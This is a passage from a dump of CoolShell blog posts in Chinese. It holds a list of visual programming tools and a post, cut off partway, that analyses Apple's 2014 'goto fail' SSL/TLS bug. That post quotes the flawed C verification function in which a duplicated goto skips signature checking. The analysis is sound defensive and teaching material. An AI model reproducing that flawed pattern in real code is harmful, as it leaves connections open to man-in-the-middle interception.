CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-2-21 可视化编程.md",
    "content": "---\nlayout: post\ntitle: 可视化编程\ndate: 2014/2/21/ 16:27:10\nupdated: 2014/2/21/ 16:27:10\nstatus: publish\npublished: true\ntype: post\n---\n\n本文来自《[Visual Programming Languages – Snapshots](http://blog.interfacevision.com/design/design-visual-progarmming-languages-snapshots/)》，作者[Eric Hosick](http://twitter.com/erichosick)收集了一堆关于可视化编程的工具，好多我都听都没听说过，我一股脑的全转过来，给大家看看，算是开开眼界了。本文也是参考了Wikipedia的 [Visual Programming Language](http://en.wikipedia.org/wiki/Visual_programming_language) 词条。\n\n\n另外，在原文有很多评论，其中也有很多正文没有提到的，你可以前去围观一下。\n\n\n#### SketchPad\n\n\nMaybe the first. 1963.\n\n\n[图片来源](http://mydiesel22.blogspot.com/2011/05/vector-and-digital-graphics.html), [Wikipedia](http://en.wikipedia.org/wiki/Sketchpad) 和 [官方网站](http://www.youtube.com/watch?v=495nCzxM9PI&feature=player_embedded)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sketchpad_01.jpg\n\n\n\n#### Alice\n\n\n[图片来源](http://www.alice.org/index.php), [Wikipedia](http://en.wikipedia.org/wiki/Alice_%28software%29) 和 [官方网站](http://en.wikipedia.org/wiki/File:Alice-2-screenshot.jpg)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_alice_01.jpg\n\n\n#### App Inventor For Android\n\n\n[图片来源](http://beta.appinventor.mit.edu/learn/tutorials/whereismycar/whereismycar.html), [Wikipedia](http://en.wikipedia.org/wiki/App_Inventor_for_Android) 和 [官方网站](http://appinventor.mit.edu/explore/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_app_inventor_01.png\n\n\n#### ArcGIS Model Builder\n\n\n[图片来源](http://www.rockware.com/product/featuresLobby.php?id=193&category=615) 和 [官方网站](http://resources.arcgis.com/en/help/main/10.1/index.html#//002w00000001000000)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_app_arcgis_01.gif\n\n\n#### Automator\n\n\n[图片来源](http://www.apple.com/remotedesktop/automation.html), [Wikipedia](http://en.wikipedia.org/wiki/Automator_%28software%29) 和 [官方网站](http://www.apple.com/osx/apps/#automator)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_automator_01.jpg\n\n\n#### Blockly\n\n\n[图片来源](http://i.imgur.com/PfJO2.png) 和 [官方网站](https://code.google.com/p/blockly/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_blockly_01.png\n\n\n#### Bounce\n\n\n[图片来源](http://www.art.net/~hopkins/Don/lang/bounce/SpaceSeedCircuits.gif) 和 [官方网站](http://www.art.net/~hopkins/Don/lang/bounce/bounce.html)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_bounce_01.gif\n\n\n#### Copper Thoughts\n\n\n[图片来源](http://www.copperthoughts.com/assets/request-fsm-instance.png) 和 [官方网站](http://www.copperthoughts.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_copper_01.png\n\n\n#### DRAKON\n\n\n[图片来源](http://en.wikipedia.org/wiki/DRAKON), [Wikipedia](http://en.wikipedia.org/wiki/DRAKON) 和 [官方网站](http://drakon-editor.sourceforge.net/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_drakon_01.png\n\n\n#### Etoys / Squeak\n\n\n[图片来源](http://en.wikipedia.org/wiki/File:Squeak-screenshot.png), [Wikipedia](http://en.wikipedia.org/wiki/Etoys_%28programming_language%29) 和 [官方网站](http://www.squeakland.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_etoysqueak_01.png\n\n\n#### Field\n\n\n[图片来源](http://openendedgroup.com/field/OverviewBanners2.html) 和 [官方网站](http://openendedgroup.com/field/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_field_01.png\n\n\n#### FL Studio\n\n\n[图片来源](http://freaksolid.wordpress.com/2013/05/20/fl-studio-11-patcher-dj-performance-presets/), [Wikipedia](http://en.wikipedia.org/wiki/Fl_studio) 和 [官方网站](http://www.image-line.com/flstudio/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_flstudiopatcher_01.jpg\n\n\n#### Flow Hub and NoFlo\n\n\nFlow-Based Programming.\n\n\n[图片来源 1](http://flowhub.io/), [图片来源 2](http://cdn.thegrid.io.s3.amazonaws.com/noflo/kickstarter/images/UI-03.jpg) [官方网站 1](http://noflojs.org/) 和 [官方网站 2](http://flowhub.io/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_flohub_01.png\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_noflo_01.jpg\n\n\n#### FlowStone\n\n\n[图片来源](http://en.wikipedia.org/wiki/File:FlowStone_Large_Screenshot.png) 和 [官方网站](http://www.dsprobotics.com/flowstone.html)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_flowstone_01.png\n\n\n#### GoDot Engine\n\n\n[图片来源](http://www.godotengine.org/wp/wp-content/uploads/2014/01/editor2.jpg) 和 [官方网站](http://www.godotengine.org/wp/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_godot_01.jpg\n\n\n#### Google Web Designer\n\n\n图片来源, [Wikipedia](http://en.wikipedia.org/wiki/Google_Web_Designer) 和 [官方网站](https://www.google.com/webdesigner/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_webdesigner_01.png\n\n\n#### Hopscotch\n\n\n[图片来源](https://www.gethopscotch.com/), [Wikipedia](http://en.wikipedia.org/wiki/Hopscotch_%28programming_language%29) 和 [官方网站](https://www.gethopscotch.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_hopscotch_01.png\n\n\n#### HyperCard\n\n\n[图片来源](http://www.smackerel.net/black_white_02.html), [Wikipedia](http://en.wikipedia.org/wiki/HyperCard) 和 [官方网站???](http://hypercard.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_hypercard_01.gif\n\n\n#### IFTTT\n\n\n[图片来源](https://ifttt.com/recipes), [Wikipedia](http://en.wikipedia.org/wiki/Ifttt) 和 [官方网站](https://ifttt.com/wtf)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_ifttt_01.png\n\n\n#### Illumination Software Creator\n\n\n[图片来源](http://lunduke.com/2010/06/16/illumination-software-creator-20-beta-2/), [Wikipedia](http://en.wikipedia.org/wiki/Illumination_Software_Creator) 和 [官方网站](http://lunduke.com/2010/06/16/illumination-software-creator-20-beta-2/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_illumination_01.png\n\n\n#### Intentional Technology\n\n\n[图片来源](http://www.intentsoft.com/intentional-technology/) 和 [官方网站](http://www.intentsoft.com/intentional-technology/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_IntentionalTech_01.png\n\n\n#### Jeskola Buzz\n\n\n[图片来源](http://blog.livedoor.jp/acid808/archives/cat_693944.html), [Wikipedia](http://en.wikipedia.org/wiki/Jeskola_Buzz) 和 [官方网站](http://www.jeskola.net/buzz/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_jeskolabuzz_01.jpg\n\n\n#### Kimono\n\n\n[官方网站](http://www.kimonolabs.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_kimono_01.png\n\n\n#### Kodu (Boku)\n\n\n[图片来源](http://www.interactiveclassroom.net/?p=508), [Wikipedia](http://en.wikipedia.org/wiki/Kodu) 和 [官方网站](http://research.microsoft.com/en-us/projects/kodu/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_kodu_01.png\n\n\n#### LabView\n\n\n[图片来源](http://www.ni.com/newsletter/51735/en/), [Wikipedia](http://en.wikipedia.org/wiki/LabVIEW) 和 [官方网站](http://www.ni.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_labview_02.png\n\n\n#### Ladder Logic\n\n\n[图片来源](http://en.wikipedia.org/wiki/Ladder_logic), [Wikipedia](http://en.wikipedia.org/wiki/Ladder_logic) 和 官方网站\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_ladderlogic_01.png\n\n\n#### Lamdu\n\n\n[图片来源](http://peaker.github.io/lamdu/) 和 [官方网站](http://peaker.github.io/lamdu/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lamdu_01.png\n\n\n#### Lava\n\n\n[图片来源](http://lavape.sourceforge.net/Derivation.htm), [Wikipedia](http://en.wikipedia.org/wiki/Lava_%28programming_language%29) 和 [官方网站](http://lavape.sourceforge.net/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lava_01.png\n\n\n#### Learnable Programming\n\n\nMore of a post on different ways to learn programming.\n\n\n[图片来源](http://worrydream.com/#!/LearnableProgramming) 和 [官方网站](http://worrydream.com/#!/LearnableProgramming)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_learnable_01.png\n\n\n#### Light Table\n\n\nChris Granger’s development environment. [图片来源](https://plus.google.com/+JJoeDouglas/posts), [Wikipedia](http://en.wikipedia.org/wiki/Light_table_%28software%29) 和 [官方网站](http://www.lighttable.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lighttable_01.jpg\n\n\n#### Lily\n\n\nReally cool and hard to describe. You need to visit their demo web page and watch their videos. [图片来源](http://blog.lilyapp.org/lily/demo/), [Wikipedia](http://en.wikipedia.org/wiki/Lily_%28software%29) 和 [官方网站](http://blog.lilyapp.org/lily/demo/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lily_01.png\n\n\n#### Limnor Studio\n\n\n[图片来源](http://www.limnor.com/studio_whatIsIt.html), [Wikipedia](http://en.wikipedia.org/wiki/Limnor) 和 [官方网站](http://www.limnor.com/studio_whatIsIt.html)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_limnorstudio_01.png\n\n\n#### Little Big Planet\n\n\nSomeone built an An [8-bit Mechanical Adder in LittleBigPlanet](http://www.youtube.com/watch?v=jWanvKdurU0)\n\n\n[图片来源](http://www.youtube.com/watch?v=jWanvKdurU0), [Wikipedia](http://en.wikipedia.org/wiki/LittleBigPlanet) 和 [官方网站](http://littlebigplanet.playstation.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_littlebig_01.png\n\n\n#### Minecraft\n\n\nConsidering someone has created a [fully programmable computer](http://www.youtube.com/watch?v=frcr9XYeTW4) using Minecraft.\n\n\n[图片来源](http://www.youtube.com/watch?v=frcr9XYeTW4), [Wikipedia](http://en.wikipedia.org/wiki/Minecraft) 和 [官方网站](https://minecraft.net/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_minecraft_01.png\n\n\n#### Minibloq\n\n\nThis has a really cool looking interface. [图片来源](http://en.wikipedia.org/wiki/File:ToneWithVariables.png), [Wikipedia](http://en.wikipedia.org/wiki/Minibloq) 和 [官方网站](http://blog.minibloq.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_minibloq_01.png\n\n\n#### Morphic\n\n\n[图片来源](http://www.cc.gatech.edu/fac/mark.guzdial/squeak/startingmorphic.html), [Wikipedia](http://en.wikipedia.org/wiki/Morphic_%28software%29) 和 [官方网站](http://www.dmoz.org/Computers/Software/Operating_Systems/Graphic_Subsystems/Morphic)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_morphic_01.gif\n\n\n#### Mozilla Appmaker\n\n\nThis was discussed quite a bit on [Ycombinator](https://news.ycombinator.com/item?id=6501731). [图片来源](http://2.bp.blogspot.com/-1xD81b5fPso/Uly-amqf9vI/AAAAAAAAC8I/n7ehLipb1CE/s1600/appmaker.png) 和 [官方网站](https://appmaker.mozillalabs.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_appmaker_01.png\n\n\n#### MST Workshop\n\n\n[图片来源](http://home.comcast.net/~tpandolfi/site/?/photos/&PHPSESSID=63621f2035fe55537d794ab0ac795934), [Wikipedia](http://en.wikipedia.org/wiki/MST_Workshop) 和 [官方网站](http://home.comcast.net/~tpandolfi/site/?/home/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_mst_01.jpg\n\n\n#### NeatTools Visual Programming Environment\n\n\n[图片来源](http://www.sensyr.com/NeatTools.html) 和 [官方网站](http://www.neattools.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_NeatTools_01.png\n\n\n#### NodeBox\n\n\n[图片来源](http://nodebox.net/node/) 和 [官方网站](http://nodebox.net/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_nodebox_01.png\n\n\n#### Nuke\n\n\n[图片来源](http://www.thefoundry.co.uk/products/nuke-product-family/nuke/), [Wikipedia](http://en.wikipedia.org/wiki/Nuke_%28software%29) 和 [官方网站](http://www.thefoundry.co.uk/products/nuke-product-family/nuke/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_nuke_01.png\n\n\n#### NXT-G\n\n\nLegos!!! [图片来源](http://www.brickshelf.com/cgi-bin/gallery.cgi?i=2051945), [Wikipedia](http://en.wikipedia.org/wiki/Lego_Mindstorms_NXT#NXT-G) 和 [官方网站](http://www.legoengineering.com/program/nxt-g/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_nxt-g_01.png\n\n\n#### Open Modelica\n\n\n[图片来源](http://www.marekgayer.com/en/projects/incfd/) 和 [官方网站](https://www.openmodelica.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_openmodelica_01.jpg\n\n\n#### Open Music\n\n\n[图片来源](http://en.wikipedia.org/wiki/File:Om_patch.gif), [Wikipedia](http://en.wikipedia.org/wiki/OpenMusic) 和 [官方网站](http://repmus.ircam.fr/openmusic/home)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_openmusic_01.gif\n\n\n#### OpenWire\n\n\n[图片来源](http://www.mitov.com/products/openwire#screenshots), [Wikipedia](http://en.wikipedia.org/wiki/OpenWire_%28library%29) 和 [官方网站](http://www.mitov.com/products/openwire#overview)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_openwire_01.png\n\n\n#### Origami\n\n\n[图片来源](http://a.36krcnd.com/photo/2014/d2878df00bea4bfb782037f1683423e3.jpg) 和 [官方网站](http://facebook.github.io/origami/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_origami_01.jpg\n\n\n#### Piet\n\n\n[图片来源](http://en.wikipedia.org/wiki/Piet_%28programming_language%29#Piet), [Wikipedia](http://en.wikipedia.org/wiki/Piet_%28programming_language%29#Piet) 和 [官方网站](http://www.retas.de/thomas/computer/programs/useless/piet/Piet/index.html)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_piet_01.gif\n\n\n#### Programming Without Coding Technology\n\n\n[图片来源](http://sourceforge.net/projects/doublesvsoop/?source=recommended) 和 [官方网站](http://doublesvsoop.sourceforge.net/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_pwct_01.png\n\n\n#### Prograph\n\n\n[图片来源](http://en.wikipedia.org/wiki/File:Prograph_database_operation.PNG), [Wikipedia](http://en.wikipedia.org/wiki/Prograph) 和 [官方网站??](http://c2.com/cgi/wiki?PrographLanguage)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_prograph_01.png\n\n\n#### Pure Data\n\n\n[图片来源](http://en.wikipedia.org/wiki/File:Pd_example_3.svg), [Wikipedia](http://en.wikipedia.org/wiki/Pure_Data) 和 [官方网站](http://puredata.info/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_puredata_01.png\n\n\n#### Quartz Composer\n\n\n[图片来源](http://mastersofmedia.hum.uva.nl/2011/10/24/finally-it-comes-together/), [Wikipedia](http://en.wikipedia.org/wiki/Quartz_Composer) 和 [官方网站](https://developer.apple.com/technologies/mac/graphics-and-animation.html)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_quartz_01.jpg\n\n\n#### Reaktor\n\n\n[图片来源](http://media.soundonsound.com/sos/oct99/images/reaktor5.gif), [Wikipedia](http://en.wikipedia.org/wiki/Reaktor) 和 [官方网站](http://www.native-instruments.com/en/products/komplete/synths-samplers/reaktor-5/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_reaktor_01.gif\n\n\n#### Scheme Bricks\n\n\n[图片来源](http://www.pawfal.org/dave/blog/2010/05/scheme-bricks-for-graphics/) 和 [官方网站](http://www.pawfal.org/dave/index.cgi?Projects/Scheme%20Bricks)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_schemebricks_01.png\n\n\n#### Scratch\n\n\n[图片来源 1](http://scratch.mit.edu/projects/11126006/#editor), [图片来源 2](http://scratch.mit.edu/projects/11126006/#editor), [Wikipedia](http://en.wikipedia.org/wiki/Scratch_%28programming_language%29) 和 [官方网站](http://scratch.mit.edu/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_01.png\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_02.png\n\n\n#### Self\n\n\n[图片来源](http://handbook.selflanguage.org/current/langref.html#objects), [Wikipedia](http://en.wikipedia.org/wiki/Self_%28programming_language%29) 和 [官方网站](http://selflanguage.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_self_01.png\n\n\n#### Sextante\n\n\n[图片来源](http://www.gvsig.com/files/images/screenshots/gvSIG_Sextante_02.png) 和 [官方网站](http://sextantegis.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sextante_01.png\n\n\n#### Simulink\n\n\n[图片来源](http://www.mathworks.com/products/simulink/?s_cid=wiki_simulink_8), [Wikipedia](http://en.wikipedia.org/wiki/Simulink) 和 [官方网站](http://www.mathworks.com/products/simulink/?s_cid=wiki_simulink_8)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_simlink_01.png\n\n\n#### Sikuli\n\n\n[图片来源](http://hellotestworld.com/2012/04/27/sikuli-for-all-those-hard-to-reach-places/), [Wikipedia](http://en.wikipedia.org/wiki/Sikuli) 和 [官方网站](http://www.sikuli.org)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sikuli_01.png\n\n\n#### SQL Server Integration Services\n\n\n[图片来源](http://technet.microsoft.com/en-us/library/cc917721.aspx), [Wikipedia](http://en.wikipedia.org/wiki/SQL_Server_Integration_Services) 和 [官方网站](http://www.microsoft.com/en-us/sqlserver/solutions-technologies/enterprise-information-management/integration-services.aspx)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sqlintegration_01.png\n\n\n#### Story Code\n\n\n[图片来源](http://softconstructors.com/en/applications/stroycode/screenshots.html) 和 [官方网站](http://softconstructors.com/en/applications/stroycode/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_stroycode_01.png\n\n\n#### TextIt\n\n\n[图片来源](https://textit.in/) 和 [官方网站](https://textit.in/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_textit_01.png\n\n\n#### Touch Develop\n\n\nFrom Microsoft research.\n\n\n[图片来源](http://handheld.softpedia.com/progScreenshots/TouchDevelop-Screenshot-125731.html) 和 [官方网站](https://www.touchdevelop.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_touchdevelop_01.jpg\n\n\n#### Tydlig\n\n\n[图片来源](http://tydligapp.com/images/screenshots/1-physics.png) 和 [官方网站](http://tydligapp.com/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_tydlig_01.png\n\n\n#### UDK\n\n\n[图片来源](http://www.youtube.com/watch?v=0OR63rDN5p8) 和 [官方网站](http://www.unrealengine.com/en/udk/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_udk_01.png\n\n\n#### Visual JForex\n\n\n[图片来源](http://i1.ytimg.com/vi/iz5numHchGU/maxresdefault.jpg) 和 [官方网站](http://www.dukascopy.com/swiss/english/forex/Visual/features/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_jforex_01.jpg\n\n\n#### VUO\n\n\n[图片来源](http://www.vjunion.se/2013/03/a-great-start-to-the-new-year/) 和 [官方网站](http://vuo.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_vuo_01.png\n\n\n#### VVVV\n\n\n[图片来源 1](http://vvvv.org/contribution/vvvv.packs.image), [图片来源 2](http://kristiansmusicproductionblog.com/wp-content/uploads/vvvv.png), [Wikipedia](http://en.wikipedia.org/wiki/Vvvv) 和 [官方网站](http://www.vvvv.org/)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_01.png\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_02.png\n\n\n#### Windows Workflow Foundation\n\n\n[图片来源](http://fryerblog.com/post/2179029238/a-windows-workflow-foundation-example), [Wikipedia](http://en.wikipedia.org/wiki/Windows_Workflow_Foundation) 和 [官方网站](http://msdn.microsoft.com/en-us/vstudio/jj684582.aspx)\n\n\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_winworkflow_01.png\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![如何重构“箭头型”代码](../wp-content/uploads/2017/04/IMG_7411-150x150.jpg)](https://coolshell.cn/articles/17757.html)[如何重构“箭头型”代码](https://coolshell.cn/articles/17757.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![开发团队的效率](../wp-content/uploads/2014/06/software_development-150x150.png)](https://coolshell.cn/articles/11656.html)[开发团队的效率](https://coolshell.cn/articles/11656.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\nThe post [可视化编程](https://coolshell.cn/articles/11094.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-2-24 由苹果的低级Bug想到的.md",
    "content": "---\nlayout: post\ntitle: 由苹果的低级Bug想到的\ndate: 2014/2/24/ 0:12:11\nupdated: 2014/2/24/ 0:12:11\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/02/apple_goto_fail.png) 2014年2月22日，在这个“这么二”的日子里，苹果公司推送了 iOS 7.0.6（版本号11B651）修复了 SSL 连接验证的一个 bug。官方网页在这里：<http://support.apple.com/kb/HT6147>，网页中如下描述：\n\n\n\n> **Impact**: An attacker with a privileged network position may capture or modify data in sessions protected by SSL/TLS\n> \n> \n> **Description**: Secure Transport failed to validate the authenticity of the connection. This issue was addressed by restoring missing validation steps.\n> \n> \n\n\n也就是说，这个bug会引起中间人攻击，bug的描述中说，这个问题是因为miss了对连接认证的合法性检查的步骤。\n\n\n这里多说一句，**一旦网上发生任何的和SSL/TL相关的bug或安全问题，不管是做为用户，还是做为程序员的你，你一定要高度重视起来**。因为这个网络通信的加密协议被广泛的应用在很多很多最最需要安全的地方，如果SSL/TLS有问题的话，意味着这个世界的计算机安全体系的崩溃。\n\n\n#### Bug的代码原因\n\n\nAdam Langley的《[Apple’s SSL/TLS bug](https://www.imperialviolet.org/2014/02/22/applebug.html) 》的博文暴出了这个bug的细节。（在苹果的开源网站上，通过查看苹果的和SSL/TLS有关的代码变更，我们可以在文件[sslKeyExchange.c](http://opensource.apple.com/source/Security/Security-55471/libsecurity_ssl/lib/sslKeyExchange.c)中找到下面的代码）\n\n\n\n\n```\nstatic OSStatus\nSSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams,\n                                 uint8_t *signature, UInt16 signatureLen)\n{\n\tOSStatus        err;\n\t...\n\n\tif ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)\n\t\tgoto fail;\n\tif ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)\n\t\tgoto fail;\n\t\tgoto fail;\n\tif ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)\n\t\tgoto fail;\n\terr = sslRawVerify(ctx,\n                       ctx->peerPubKey,\n                       dataToSign,\t\t\t\t/* plaintext */\n                       dataToSignLen,\t\t\t/* plaintext length */\n                       signature,\n                       signatureLen);\n\tif(err) {\n\t\tsslErrorLog(\"SSLDecodeSignedServerKeyExchange: sslRawVerify \"\n                    \"returned %d\\n\", (int)err);\n\t\tgoto fail;\n\t}\n\nfail:\n    SSLFreeBuffer(&signedHashes);\n    SSLFreeBuffer(&hashCtx);\n    return err;\n}\n```\n\n注意，我高亮的地方，也就是那里有两个goto fail; 因为if语句没有加大括号，所以，只有第一个goto是属于if的，而第二个goto则是永远都会被执行到的（注：这里不是Python是C语言，缩进不代表这个语句属于同一个语句块）。也就是说，就算是前面的if检查都失败了（err  == 0），也会goto fail。我们可以看到fail标签中释放完内存后就会return err;\n\n\n你想一下，**这段程序在SSLHashSHA1.update()  返回成功，也就是返回0 的时候会发生什么样的事？是的，真正干活的 sslRawVerify()被bypass了。而且这个函数SSLVerifySignedServerKeyExchange() 还返回了0，也就是成功了！**尼玛！你可能想到酷壳网上之前《[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html \"一个空格引发的惨剧\")》的文章。都是低级bug。\n\n\n这个低级bug在这个周末在网上被炒翻了天，你可以**[上Twiter上看看#gotofail的标签的盛况](https://twitter.com/search?q=%23gotofail)**。**Goto Fail必然会成为历史上的一个经典事件**。\n\n\n如果你喜欢XKCD，你一定会想到这个漫画：\n\n\nhttps://sslimgs.xkcd.com/comics/goto.png\n\n\n**注意**：这个bug不会影响TLS 1.2版本，因为1.2版本不会用这个函数，走的是另一套机制。但是别忘了client端是可以选择版本的。\n\n\n如果你想测试一下你的浏览器是否会有问题，**你可以上一下当天就上线的 [https://gotofail.com](https://gotofail.com/) 网站**\n\n\n#### 一些思考\n\n\n下面是我对这个问题的一些思考。\n\n\n##### 0）关于编译报警\n\n\n有人在说苹果的这个代码中的goto语句会产生死代码——dead code，也就是永远都不会执行到的代码，C/C++的编程器是会报警的。但，实际上，dead code在默认上的不会报警的。即使你加上-Wall，GCC 4.8.2 或 Clang 3.3 都不会报警，包括Visual Studio 2012在默认的报警级别也不会（默认是/W3级，需要上升到/W4级以上，但是升级到/W4上，你的工程可能会有N多的Warning，你不一定能看得过来）。gcc和Clang有一个参数叫：-Wunreachable-code，是可以对这种情况报警的，但即没有被包括在-Wall里。原因是，这个参数有很多的问题，因为编译器的优化代码的行为，这个参数并不能对每种情况都准确地报告。另请注意，GCC的新版本中剔除了这个参数。当然，其它一些静态的代码检查工具也可以检查这个低级的问题。\n\n\n另外，是不是用IDE的代码自动化格式工具也可以帮上一点忙呢？至少可以把那个缩进变成让人一看就觉得有问题。\n\n\n##### 1）关于Code Merge 和 Code Review\n\n\n你可以通过这里的代码比较看到这个bug的diff，也可以到[这里看看](https://gist.github.com/alexyakoubian/9151610/revisions)（631行）。\n\n\n\n> diff -urN <(curl -s http://opensource.apple.com/source/Security/Security-55179.13/libsecurity\\_ssl/lib/sslKeyExchange.c\\?txt) \\ <(curl -s http://opensource.apple.com/source/Security/Security-55471/libsecurity\\_ssl/lib/sslKeyExchange.c\\?txt) \\\n> \n> \n\n\n通过code diff你可以看到，**苹果公司是在重构代码——为很多函数去掉了ctx的参数**。\n\n\n所以，我们可以猜测，两个goto fail语句，可能是因为对code在不同branch上做merge发生的。版本工具merge代码的时候，经常性的会出现这样的问题。如果代码的diff很多，这个问题会很容易就没有注意到。就算有code review，这个有问题的代码也很难被找出来的。**如果你来review下面的diff，你会注意到这个错误吗？**\n\n\n![](../wp-content/uploads/2014/02/gotofail.jpg)\n\n\n也就是说，在重构分支上的代码是对的，但是在分支merge的时候，被merge工具搞乱了。所以说，**我们在做code merge的时候，一定要小心小心再小心，不能完全相信merge工具**。\n\n\n##### 2）关于测试\n\n\n很明显，这个bug很难被code review发现。对于重构代码和代码merge里众多的diff，是很难被review的。\n\n\n当然，“事后诸葛亮”的人们总是很容易地说这个问题可以被测试发现，但是实际情况是这样的吗？\n\n\n这个问题也很难被功能测试发现，因为这个函数在是在网络握手里很深的地方，功能 测试不一定能覆盖得那么深，你要写这样的case，必需对TLS的协议栈非常熟悉，熟悉到对他所有的参数都很熟悉，并能写出针对每一个参数以及这些参数的组合做一堆test case，这个事情也是一件很复杂的事。要写出所有的case本身就是一件很难很难的事情。关于这个叫SSLVerifySignedServerKeyExchange()函数的细节，你可以看看相关的[ServerKeyExchange](https://tools.ietf.org/html/rfc5246#section-7.4.3) RFC文档。\n\n\n如果只看这个问题的话，你会说对这个函数做的 Unit Test 